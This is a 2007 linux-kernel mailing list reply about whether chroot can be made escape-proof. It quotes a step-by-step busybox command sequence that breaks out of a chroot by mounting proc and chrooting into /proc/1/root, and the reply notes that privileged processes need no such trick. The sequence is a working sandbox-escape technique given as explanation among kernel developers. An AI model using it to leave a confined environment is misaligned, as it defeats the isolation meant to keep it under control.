linux-kernel - Re: Chroot bug

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Date:	Wed, 26 Sep 2007 17:01:36 +0200
From:	Miloslav Semler <majkls@...pere.com>
To:	Kyle Moffett <mrmacman_g4@....com>
CC:	David Newall <david@...idnewall.com>,
	Adrian Bunk <bunk@...nel.org>,
	Alan Cox <alan@...rguk.ukuu.org.uk>,
	"Serge E. Hallyn" <serge@...lyn.com>,
	Bill Davidsen <davidsen@....com>,
	Philipp Marek <philipp@...ek.priv.at>, 7eggert@....de,
	bunk@...tum.de, linux-kernel@...r.kernel.org
Subject: Re: Chroot bug


>
> This is basically both painfully racy and easily broken with umount 
> and/or access to proc.  See this busybox-compatible example:
>
> ## Set up chroot
> mkdir /root1
> mount -o mode=0750 -t tmpfs tmpfs /root1
> cp -a /bin/busybox /root1/busybox
>
> ## Enter chroot
> chroot /root1 /busybox
>
> ## Mount proc
> /busybox mkdir /proc
> /busybox mount -t proc proc /proc
>
> ## Poke around root filesystem (this may be all you need)
> /busybox ls /proc/1/root/
>
> ## Detach our chroot so we're no longer a sub-directory
> /busybox umount -l /proc/1/root/root1
>
> ## Now we can easily chroot to the original root, since it isn't in 
> our ".." path
> exec /busybox chroot /proc/1/root /bin/sh
>
>
> See how easy that is?  Unless you stick the above parent-directory 
> check (which is still racy against directories being moved around) for 
> *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are 
> still going to be easily worked around through many different methods.
>
so there is no discussion about mount & others. I think, if you have 
CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to 
break it.
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